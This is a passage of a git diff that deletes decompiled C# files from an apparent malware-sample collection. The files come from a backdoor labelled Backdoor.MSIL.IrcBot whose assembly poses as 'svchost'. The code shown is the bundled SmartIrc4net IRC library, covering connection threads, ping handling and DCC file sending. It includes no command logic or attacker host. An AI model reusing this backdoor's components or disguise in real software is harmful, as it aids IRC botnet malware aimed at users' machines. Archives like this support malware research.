- this.OnDisconnecting((object) this, EventArgs.Empty);
- this.IsDisconnecting = true;
- this._ReadThread.Stop();
- this._WriteThread.Stop();
- this._TcpClient.Close();
- this._IsConnected = false;
- this._IsRegistered = false;
- this.IsDisconnecting = false;
- if (this.OnDisconnected == null)
- return;
- this.OnDisconnected((object) this, EventArgs.Empty);
- }
-
- public void Listen(bool blocking)
- {
- if (blocking)
- {
- while (this.IsConnected)
- this.ReadLine(true);
- }
- else
- {
- do
- ;
- while (this.ReadLine(false).Length > 0);
- }
- }
-
- public void Listen() => this.Listen(true);
-
- public void ListenOnce(bool blocking) => this.ReadLine(blocking);
-
- public void ListenOnce() => this.ListenOnce(true);
-
- public string ReadLine(bool blocking)
- {
- string line = "";
- if (blocking)
- {
- while (this.IsConnected && !this.IsConnectionError && this._ReadThread.Queue.Count == 0)
- Thread.Sleep(10);
- }
- if (this.IsConnected && this._ReadThread.Queue.Count > 0)
- line = (string) this._ReadThread.Queue.Dequeue();
- if (line != null && line.Length > 0 && this.OnReadLine != null)
- this.OnReadLine((object) this, new ReadLineEventArgs(line));
- if (this.IsConnectionError && !this.IsDisconnecting && this.OnConnectionError != null)
- this.OnConnectionError((object) this, EventArgs.Empty);
- return line;
- }
-
- public void WriteLine(string data, Priority priority)
- {
- try
- {
- if (priority == Priority.Critical)
- {
- if (!this.IsConnected)
- throw new NotConnectedException();
- this._WriteLine(data);
- }
- else
- ((System.Collections.Queue) this._SendBuffer[(object) priority]).Enqueue((object) data);
- }
- catch
- {
- }
- }
-
- public void WriteLine(string data) => this.WriteLine(data, Priority.Medium);
-
- private bool _WriteLine(string data)
- {
- if (!this.IsConnected)
- return false;
- try
- {
- this._Writer.Write(data + "\r\n");
- this._Writer.Flush();
- }
- catch (IOException ex)
- {
- this.IsConnectionError = true;
- return false;
- }
- catch (ObjectDisposedException ex)
- {
- this.IsConnectionError = true;
- return false;
- }
- if (this.OnWriteLine != null)
- this.OnWriteLine((object) this, new WriteLineEventArgs(data));
- return true;
- }
-
- private void _NextAddress()
- {
- ++this._CurrentAddress;
- if (this._CurrentAddress < this._AddressList.Length)
- return;
- this._CurrentAddress = 0;
- }
-
- private void _SimpleParser(object sender, ReadLineEventArgs args)
- {
- string line = args.Line;
- string[] strArray = line.Split(' ');
- if (line[0] == ':')
- {
- string s = strArray[1];
- ReplyCode replyCode = ReplyCode.Null;
- try
- {
- replyCode = (ReplyCode) int.Parse(s);
- }
- catch (FormatException ex)
- {
- }
- switch (replyCode)
- {
- case ReplyCode.Null:
- switch (strArray[1])
- {
- case "PONG":
- DateTime now = DateTime.Now;
- this._LastPongReceived = now;
- this._Lag = now - this._LastPingSent;
- return;
- case null:
- return;
- default:
- return;
- }
- case ReplyCode.Welcome:
- this._IsRegistered = true;
- break;
- }
- }
- else
- {
- string str;
- if ((str = strArray[0]) == null)
- return;
- int num = str == "ERROR" ? 1 : 0;
- }
- }
-
- private void _OnConnectionError(object sender, EventArgs e)
- {
- try
- {
- if (this.AutoReconnect)
- this.Reconnect();
- else
- this.Disconnect();
- }
- catch (ConnectionException ex)
- {
- }
- }
-
- private class ReadThread
- {
- private IrcConnection _Connection;
- private Thread _Thread;
- private System.Collections.Queue _Queue = System.Collections.Queue.Synchronized(new System.Collections.Queue());
-
- public System.Collections.Queue Queue => this._Queue;
-
- public ReadThread(IrcConnection connection) => this._Connection = connection;
-
- public void Start()
- {
- this._Thread = new Thread(new ThreadStart(this._Worker));
- this._Thread.Name = "ReadThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
- this._Thread.IsBackground = true;
- this._Thread.Start();
- }
-
- public void Stop()
- {
- this._Thread.Abort();
- this._Thread.Join();
- try
- {
- this._Connection._Reader.Close();
- }
- catch (ObjectDisposedException ex)
- {
- }
- }
-
- private void _Worker()
- {
- try
- {
- try
- {
- string str;
- while (this._Connection.IsConnected && (str = this._Connection._Reader.ReadLine()) != null)
- this._Queue.Enqueue((object) str);
- }
- catch (IOException ex)
- {
- }
- finally
- {
- if (!this._Connection.IsDisconnecting)
- this._Connection.IsConnectionError = true;
- }
- }
- catch (ThreadAbortException ex)
- {
- Thread.ResetAbort();
- }
- catch (Exception ex)
- {
- }
- }
- }
-
- private class WriteThread
- {
- private IrcConnection _Connection;
- private Thread _Thread;
- private int _HighCount;
- private int _AboveMediumCount;
- private int _MediumCount;
- private int _BelowMediumCount;
- private int _LowCount;
- private int _AboveMediumSentCount;
- private int _MediumSentCount;
- private int _BelowMediumSentCount;
- private int _AboveMediumThresholdCount = 4;
- private int _MediumThresholdCount = 2;
- private int _BelowMediumThresholdCount = 1;
- private int _BurstCount;
-
- public WriteThread(IrcConnection connection) => this._Connection = connection;
-
- public void Start()
- {
- this._Thread = new Thread(new ThreadStart(this._Worker));
- this._Thread.Name = "WriteThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
- this._Thread.IsBackground = true;
- this._Thread.Start();
- }
-
- public void Stop()
- {
- this._Thread.Abort();
- this._Thread.Join();
- try
- {
- this._Connection._Writer.Close();
- }
- catch (ObjectDisposedException ex)
- {
- }
- }
-
- private void _Worker()
- {
- try
- {
- try
- {
- while (this._Connection.IsConnected)
- {
- this._CheckBuffer();
- Thread.Sleep(this._Connection._SendDelay);
- }
- }
- catch (IOException ex)
- {
- }
- finally
- {
- if (!this._Connection.IsDisconnecting)
- this._Connection.IsConnectionError = true;
- }
- }
- catch (ThreadAbortException ex)
- {
- Thread.ResetAbort();
- }
- catch (Exception ex)
- {
- }
- }
-
- private void _CheckBuffer()
- {
- if (!this._Connection._IsRegistered)
- return;
- this._HighCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Count;
- this._AboveMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Count;
- this._MediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Count;
- this._BelowMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Count;
- this._LowCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Count;
- if (this._CheckHighBuffer() && this._CheckAboveMediumBuffer() && this._CheckMediumBuffer() && this._CheckBelowMediumBuffer() && this._CheckLowBuffer())
- {
- this._AboveMediumSentCount = 0;
- this._MediumSentCount = 0;
- this._BelowMediumSentCount = 0;
- this._BurstCount = 0;
- }
- if (this._BurstCount >= 3)
- return;
- ++this._BurstCount;
- }
-
- private bool _CheckHighBuffer()
- {
- if (this._HighCount > 0)
- {
- string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Dequeue();
- if (!this._Connection._WriteLine(data))
- ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Enqueue((object) data);
- if (this._HighCount > 1)
- return false;
- }
- return true;
- }
-
- private bool _CheckAboveMediumBuffer()
- {
- if (this._AboveMediumCount > 0 && this._AboveMediumSentCount < this._AboveMediumThresholdCount)
- {
- string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Dequeue();
- if (!this._Connection._WriteLine(data))
- ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Enqueue((object) data);
- ++this._AboveMediumSentCount;
- if (this._AboveMediumSentCount < this._AboveMediumThresholdCount)
- return false;
- }
- return true;
- }
-
- private bool _CheckMediumBuffer()
- {
- if (this._MediumCount > 0 && this._MediumSentCount < this._MediumThresholdCount)
- {
- string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Dequeue();
- if (!this._Connection._WriteLine(data))
- ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Enqueue((object) data);
- ++this._MediumSentCount;
- if (this._MediumSentCount < this._MediumThresholdCount)
- return false;
- }
- return true;
- }
-
- private bool _CheckBelowMediumBuffer()
- {
- if (this._BelowMediumCount > 0 && this._BelowMediumSentCount < this._BelowMediumThresholdCount)
- {
- string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Dequeue();
- if (!this._Connection._WriteLine(data))
- ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Enqueue((object) data);
- ++this._BelowMediumSentCount;
- if (this._BelowMediumSentCount < this._BelowMediumThresholdCount)
- return false;
- }
- return true;
- }
-
- private bool _CheckLowBuffer()
- {
- if (this._LowCount > 0 && this._HighCount <= 0 && this._AboveMediumCount <= 0 && this._MediumCount <= 0 && this._BelowMediumCount <= 0)
- {
- string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Dequeue();
- if (!this._Connection._WriteLine(data))
- ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Enqueue((object) data);
- if (this._LowCount > 1)
- return false;
- }
- return true;
- }
- }
-
- private class IdleWorkerThread
- {
- private IrcConnection _Connection;
- private Thread _Thread;
-
- public IdleWorkerThread(IrcConnection connection) => this._Connection = connection;
-
- public void Start()
- {
- DateTime now = DateTime.Now;
- this._Connection._LastPingSent = now;
- this._Connection._LastPongReceived = now;
- this._Thread = new Thread(new ThreadStart(this._Worker));
- this._Thread.Name = "IdleWorkerThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
- this._Thread.IsBackground = true;
- this._Thread.Start();
- }
-
- public void Stop() => this._Thread.Abort();
-
- private void _Worker()
- {
- try
- {
- while (this._Connection.IsConnected)
- {
- Thread.Sleep(this._Connection._IdleWorkerInterval);
- if (this._Connection.IsRegistered)
- {
- DateTime now = DateTime.Now;
- int totalSeconds1 = (int) (now - this._Connection._LastPingSent).TotalSeconds;
- int totalSeconds2 = (int) (now - this._Connection._LastPongReceived).TotalSeconds;
- if (totalSeconds1 < this._Connection._PingTimeout)
- {
- if (!(this._Connection._LastPingSent > this._Connection._LastPongReceived) && totalSeconds2 > this._Connection._PingInterval)
- {
- this._Connection.WriteLine(Rfc2812.Ping(this._Connection.Address), Priority.Critical);
- this._Connection._LastPingSent = now;
- }
- }
- else
- {
- if (this._Connection.IsDisconnecting)
- break;
- this._Connection.IsConnectionError = true;
- break;
- }
- }
- }
- }
- catch (ThreadAbortException ex)
- {
- Thread.ResetAbort();
- }
- catch (Exception ex)
- {
- }
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs
deleted file mode 100644
index b29d1d43..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs
+++ /dev/null
@@ -1,19 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcConstants
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcConstants
- {
- public const char CtcpChar = '\u0001';
- public const char IrcBold = '\u0002';
- public const char IrcColor = '\u0003';
- public const char IrcReverse = '\u0016';
- public const char IrcNormal = '\u000F';
- public const char IrcUnderline = '\u001F';
- public const char CtcpQuoteChar = ' ';
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs
deleted file mode 100644
index dadd7956..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs
+++ /dev/null
@@ -1,19 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcEventArgs : EventArgs
- {
- private readonly IrcMessageData _Data;
-
- public IrcMessageData Data => this._Data;
-
- internal IrcEventArgs(IrcMessageData data) => this._Data = data;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs
deleted file mode 100644
index 122455b5..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void IrcEventHandler(object sender, IrcEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs
deleted file mode 100644
index 24d1ee03..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs
+++ /dev/null
@@ -1,342 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcFeatures
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Collections.Generic;
-using System.Collections.ObjectModel;
-using System.IO;
-using System.Net;
-using System.Threading;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcFeatures : IrcClient
- {
- private IPAddress _ExternalIpAdress;
- private List _DccConnections = new List();
- private Dictionary _CtcpDelegates = new Dictionary((IEqualityComparer) StringComparer.CurrentCultureIgnoreCase);
- private string _CtcpUserInfo;
- private string _CtcpUrl;
- private string _CtcpSource;
- internal DccSpeed Speed = DccSpeed.RfcSendAhead;
-
- public IPAddress ExternalIpAdress
- {
- get => this._ExternalIpAdress;
- set => this._ExternalIpAdress = value;
- }
-
- public ReadOnlyCollection DccConnections => new ReadOnlyCollection((IList) this._DccConnections);
-
- public Dictionary CtcpDelegates => this._CtcpDelegates;
-
- public string CtcpUserInfo
- {
- get => this._CtcpUserInfo;
- set => this._CtcpUserInfo = value;
- }
-
- public string CtcpUrl
- {
- get => this._CtcpUrl;
- set => this._CtcpUrl = value;
- }
-
- public string CtcpSource
- {
- get => this._CtcpSource;
- set => this._CtcpSource = value;
- }
-
- public event DccConnectionHandler OnDccChatRequestEvent;
-
- public void DccChatRequestEvent(DccEventArgs e)
- {
- if (this.OnDccChatRequestEvent == null)
- return;
- this.OnDccChatRequestEvent((object) this, e);
- }
-
- public event DccSendRequestHandler OnDccSendRequestEvent;
-
- public void DccSendRequestEvent(DccSendRequestEventArgs e)
- {
- if (this.OnDccSendRequestEvent == null)
- return;
- this.OnDccSendRequestEvent((object) this, e);
- }
-
- public event DccConnectionHandler OnDccChatStartEvent;
-
- public void DccChatStartEvent(DccEventArgs e)
- {
- if (this.OnDccChatStartEvent == null)
- return;
- this.OnDccChatStartEvent((object) this, e);
- }
-
- public event DccConnectionHandler OnDccSendStartEvent;
-
- public void DccSendStartEvent(DccEventArgs e)
- {
- if (this.OnDccSendStartEvent == null)
- return;
- this.OnDccSendStartEvent((object) this, e);
- }
-
- public event DccChatLineHandler OnDccChatReceiveLineEvent;
-
- public void DccChatReceiveLineEvent(DccChatEventArgs e)
- {
- if (this.OnDccChatReceiveLineEvent == null)
- return;
- this.OnDccChatReceiveLineEvent((object) this, e);
- }
-
- public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
-
- public void DccSendReceiveBlockEvent(DccSendEventArgs e)
- {
- if (this.OnDccSendReceiveBlockEvent == null)
- return;
- this.OnDccSendReceiveBlockEvent((object) this, e);
- }
-
- public event DccChatLineHandler OnDccChatSentLineEvent;
-
- public void DccChatSentLineEvent(DccChatEventArgs e)
- {
- if (this.OnDccChatSentLineEvent == null)
- return;
- this.OnDccChatSentLineEvent((object) this, e);
- }
-
- public event DccSendPacketHandler OnDccSendSentBlockEvent;
-
- internal void DccSendSentBlockEvent(DccSendEventArgs e)
- {
- if (this.OnDccSendSentBlockEvent == null)
- return;
- this.OnDccSendSentBlockEvent((object) this, e);
- }
-
- public event DccConnectionHandler OnDccChatStopEvent;
-
- public void DccChatStopEvent(DccEventArgs e)
- {
- if (this.OnDccChatStopEvent == null)
- return;
- this.OnDccChatStopEvent((object) this, e);
- }
-
- public event DccConnectionHandler OnDccSendStopEvent;
-
- public void DccSendStopEvent(DccEventArgs e)
- {
- if (this.OnDccSendStopEvent == null)
- return;
- this.OnDccSendStopEvent((object) this, e);
- }
-
- public IrcFeatures()
- {
- this.OnCtcpRequest += new CtcpEventHandler(this.CtcpRequestsHandler);
- this._CtcpDelegates.Add("version", new CtcpDelegate(this.CtcpVersionDelegate));
- this._CtcpDelegates.Add("clientinfo", new CtcpDelegate(this.CtcpClientInfoDelegate));
- this._CtcpDelegates.Add("time", new CtcpDelegate(this.CtcpTimeDelegate));
- this._CtcpDelegates.Add("userinfo", new CtcpDelegate(this.CtcpUserInfoDelegate));
- this._CtcpDelegates.Add("url", new CtcpDelegate(this.CtcpUrlDelegate));
- this._CtcpDelegates.Add("source", new CtcpDelegate(this.CtcpSourceDelegate));
- this._CtcpDelegates.Add("finger", new CtcpDelegate(this.CtcpFingerDelegate));
- this._CtcpDelegates.Add("dcc", new CtcpDelegate(this.CtcpDccDelegate));
- this._CtcpDelegates.Add("ping", new CtcpDelegate(this.CtcpPingDelegate));
- }
-
- public void InitDccChat(string user) => this.InitDccChat(user, false);
-
- public void InitDccChat(string user, bool passive) => this.InitDccChat(user, passive, Priority.Medium);
-
- public void InitDccChat(string user, bool passive, Priority priority)
- {
- DccChat dccChat = new DccChat(this, user, this._ExternalIpAdress, passive, priority);
- this._DccConnections.Add((DccConnection) dccChat);
- ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
- this.RemoveInvalidDccConnections();
- }
-
- public void SendFile(string user, string filepath)
- {
- FileInfo fileInfo = new FileInfo(filepath);
- if (!fileInfo.Exists)
- return;
- this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, false, Priority.Medium);
- }
-
- public void SendFile(string user, string filepath, bool passive)
- {
- FileInfo fileInfo = new FileInfo(filepath);
- if (!fileInfo.Exists)
- return;
- this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, passive, Priority.Medium);
- }
-
- public void SendFile(string user, Stream file, string filename, long filesize) => this.SendFile(user, file, filename, filesize, DccSpeed.RfcSendAhead, false);
-
- public void SendFile(
- string user,
- Stream file,
- string filename,
- long filesize,
- DccSpeed speed,
- bool passive)
- {
- this.SendFile(user, file, filename, filesize, speed, passive, Priority.Medium);
- }
-
- public void SendFile(
- string user,
- Stream file,
- string filename,
- long filesize,
- DccSpeed speed,
- bool passive,
- Priority priority)
- {
- DccSend dccSend = new DccSend(this, user, this._ExternalIpAdress, file, filename, filesize, speed, passive, priority);
- this._DccConnections.Add((DccConnection) dccSend);
- ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
- this.RemoveInvalidDccConnections();
- }
-
- private void CtcpRequestsHandler(object sender, CtcpEventArgs e)
- {
- if (this._CtcpDelegates.ContainsKey(e.CtcpCommand))
- this._CtcpDelegates[e.CtcpCommand](e);
- this.RemoveInvalidDccConnections();
- }
-
- private void CtcpVersionDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "VERSION " + (this.CtcpVersion == null ? this.VersionString : this.CtcpVersion));
-
- private void CtcpClientInfoDelegate(CtcpEventArgs e)
- {
- string message = "CLIENTINFO";
- foreach (KeyValuePair ctcpDelegate in this._CtcpDelegates)
- message = message + " " + ctcpDelegate.Key.ToUpper();
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, message);
- }
-
- private void CtcpPingDelegate(CtcpEventArgs e)
- {
- if (e.Data.Message.Length > 7)
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
- else
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING");
- }
-
- private void CtcpRfcPingDelegate(CtcpEventArgs e)
- {
- if (e.Data.Message.Length > 7)
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
- else
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG");
- }
-
- private void CtcpTimeDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "TIME " + DateTime.Now.ToString("r"));
-
- private void CtcpUserInfoDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "USERINFO " + (this.CtcpUserInfo == null ? "No user info given." : this.CtcpUserInfo));
-
- private void CtcpUrlDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "URL " + (this.CtcpUrl == null ? "http://www.google.com" : this.CtcpUrl));
-
- private void CtcpSourceDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "SOURCE " + (this.CtcpSource == null ? "http://smartirc4net.meebey.net" : this.CtcpSource));
-
- private void CtcpFingerDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "FINGER Don't touch little Helga there! ");
-
- private void CtcpDccDelegate(CtcpEventArgs e)
- {
- if (e.Data.MessageArray.Length < 2)
- {
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC missing parameters");
- }
- else
- {
- switch (e.Data.MessageArray[1])
- {
- case "CHAT":
- DccChat dccChat = new DccChat(this, this._ExternalIpAdress, e);
- this._DccConnections.Add((DccConnection) dccChat);
- ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
- break;
- case "SEND":
- if (e.Data.MessageArray.Length > 6 && this.FilterMarker(e.Data.MessageArray[6]) != "T")
- {
- long result = -1;
- long.TryParse(this.FilterMarker(e.Data.MessageArray[6]), out result);
- foreach (DccConnection dccConnection in this._DccConnections)
- {
- if (dccConnection.isSession(result))
- {
- ((DccSend) dccConnection).SetRemote(e);
- ((DccSend) dccConnection).AcceptRequest((Stream) null, 0L);
- return;
- }
- }
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid passive DCC");
- break;
- }
- DccSend dccSend = new DccSend(this, this._ExternalIpAdress, e);
- this._DccConnections.Add((DccConnection) dccSend);
- ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
- break;
- case "RESUME":
- foreach (DccConnection dccConnection in this._DccConnections)
- {
- if (dccConnection is DccSend && ((DccSend) dccConnection).TryResume(e))
- return;
- }
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC RESUME");
- break;
- case "ACCEPT":
- foreach (DccConnection dccConnection in this._DccConnections)
- {
- if (dccConnection is DccSend && ((DccSend) dccConnection).TryAccept(e))
- return;
- }
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC ACCEPT");
- break;
- case "XMIT":
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC XMIT not implemented");
- break;
- default:
- this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC " + e.CtcpParameter + " unavailable");
- break;
- }
- }
- }
-
- private void RemoveInvalidDccConnections()
- {
- List dccConnectionList = new List();
- foreach (DccConnection dccConnection in this._DccConnections)
- {
- if (!dccConnection.Valid && !dccConnection.Connected)
- dccConnectionList.Add(dccConnection);
- }
- foreach (DccConnection dccConnection in dccConnectionList)
- this._DccConnections.Remove(dccConnection);
- }
-
- private string FilterMarker(string msg)
- {
- string str = "";
- foreach (char ch in msg)
- {
- if (ch != '\u0001')
- str += (string) (object) ch;
- }
- return str;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs
deleted file mode 100644
index 8a781622..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs
+++ /dev/null
@@ -1,76 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcMessageData
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcMessageData
- {
- private IrcClient _Irc;
- private string _From;
- private string _Nick;
- private string _Ident;
- private string _Host;
- private string _Channel;
- private string _Message;
- private string[] _MessageArray;
- private string _RawMessage;
- private string[] _RawMessageArray;
- private ReceiveType _Type;
- private ReplyCode _ReplyCode;
-
- public IrcClient Irc => this._Irc;
-
- public string From => this._From;
-
- public string Nick => this._Nick;
-
- public string Ident => this._Ident;
-
- public string Host => this._Host;
-
- public string Channel => this._Channel;
-
- public string Message => this._Message;
-
- public string[] MessageArray => this._MessageArray;
-
- public string RawMessage => this._RawMessage;
-
- public string[] RawMessageArray => this._RawMessageArray;
-
- public ReceiveType Type => this._Type;
-
- public ReplyCode ReplyCode => this._ReplyCode;
-
- public IrcMessageData(
- IrcClient ircclient,
- string from,
- string nick,
- string ident,
- string host,
- string channel,
- string message,
- string rawmessage,
- ReceiveType type,
- ReplyCode replycode)
- {
- this._Irc = ircclient;
- this._RawMessage = rawmessage;
- this._RawMessageArray = rawmessage.Split(' ');
- this._Type = type;
- this._ReplyCode = replycode;
- this._From = from;
- this._Nick = nick;
- this._Ident = ident;
- this._Host = host;
- this._Channel = channel;
- if (message == null)
- return;
- this._Message = message;
- this._MessageArray = message.Split(' ');
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs
deleted file mode 100644
index 2992dc89..00000000
